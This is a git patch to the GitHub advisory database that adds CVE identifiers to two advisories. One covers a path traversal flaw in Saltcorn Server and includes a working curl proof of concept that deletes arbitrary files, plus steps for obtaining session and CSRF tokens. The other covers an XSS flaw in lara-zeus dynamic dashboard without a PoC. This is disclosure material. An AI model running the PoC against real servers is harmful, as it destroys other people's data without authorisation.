From 00777776305ceec0b9171f58930595551af678cb Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 7 Oct 2024 19:39:08 +0000 Subject: [PATCH] Publish Advisories GHSA-43f3-h63w-p6f6 GHSA-c6cw-g7fc-4gwc --- .../2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json | 4 ++-- .../2024/10/GHSA-c6cw-g7fc-4gwc/GHSA-c6cw-g7fc-4gwc.json | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json b/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json index e71b50d6cfd..9c996a2c3ca 100644 --- a/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json +++ b/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json @@ -1,10 +1,10 @@ { "schema_version": "1.4.0", "id": "GHSA-43f3-h63w-p6f6", - "modified": "2024-10-07T15:10:52Z", + "modified": "2024-10-07T19:37:47Z", "published": "2024-10-07T15:10:52Z", "aliases": [ - + "CVE-2024-47818" ], "summary": "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability", "details": "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n \"/clean_sync_dir\",\n error_catcher(async (req, res) => {\n const { dir_name } = req.body; // [1] source\n try {\n const rootFolder = await File.rootFolder();\n const syncDir = path.join(\n rootFolder.location,\n \"mobile_app\",\n \"sync\",\n dir_name // [2]\n );\n await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n res.status(200).send(\"\");\n } catch (error) {\n getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n res.status(400).json({ error: error.message || error });\n }\n })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n -H $'Host: localhost:3000' \\\n -H $'Content-Type: application/x-www-form-urlencoded' \\\n -H $'Content-Length: 93' \\\n -H $'Origin: http://localhost:3000' \\\n -H $'Connection: close' \\\n -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \\\n $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.", diff --git a/advisories/github-reviewed/2024/10/GHSA-c6cw-g7fc-4gwc/GHSA-c6cw-g7fc-4gwc.json b/advisories/github-reviewed/2024/10/GHSA-c6cw-g7fc-4gwc/GHSA-c6cw-g7fc-4gwc.json index 5296ec63053..48230eb619a 100644 --- a/advisories/github-reviewed/2024/10/GHSA-c6cw-g7fc-4gwc/GHSA-c6cw-g7fc-4gwc.json +++ b/advisories/github-reviewed/2024/10/GHSA-c6cw-g7fc-4gwc/GHSA-c6cw-g7fc-4gwc.json @@ -1,10 +1,10 @@ { "schema_version": "1.4.0", "id": "GHSA-c6cw-g7fc-4gwc", - "modified": "2024-10-07T14:55:30Z", + "modified": "2024-10-07T19:37:38Z", "published": "2024-10-07T14:55:30Z", "aliases": [ - + "CVE-2024-47817" ], "summary": "Lara-zeus Dynamic Dashboard and Artemis do not validate paragraph widget values which can be used for XSS", "details": "# Summary\nIf values passed to a paragraph widget are not valid and contain a specific set of characters, applications are vulnerable to XSS attack against a user who opens a page on which a paragraph widget is rendered.\n\nVersions of dynamic dashboard from v3.0.0 through v3.0.2 are affected.\n\nPlease upgrade to dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2).\n\n# PoC\n>PoC will be published in a few weeks, once developers have had a chance to upgrade their apps.\n\n# Response\nThis vulnerability (in paragraph widget only) was reported by **Raghav Sharma**, who reported the issue and patched the issue during the morning of 05/10/2024. Thank you **Raghav Sharma**.\n\nThe review process concluded the same day at night, which revealed the issue was also present in paragraph widget. This was fixed the same day and dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2) followed.\n\n## Note:\nif you're published the view (blade files), you have to republish them or check the changes on release to update the affected file.\n",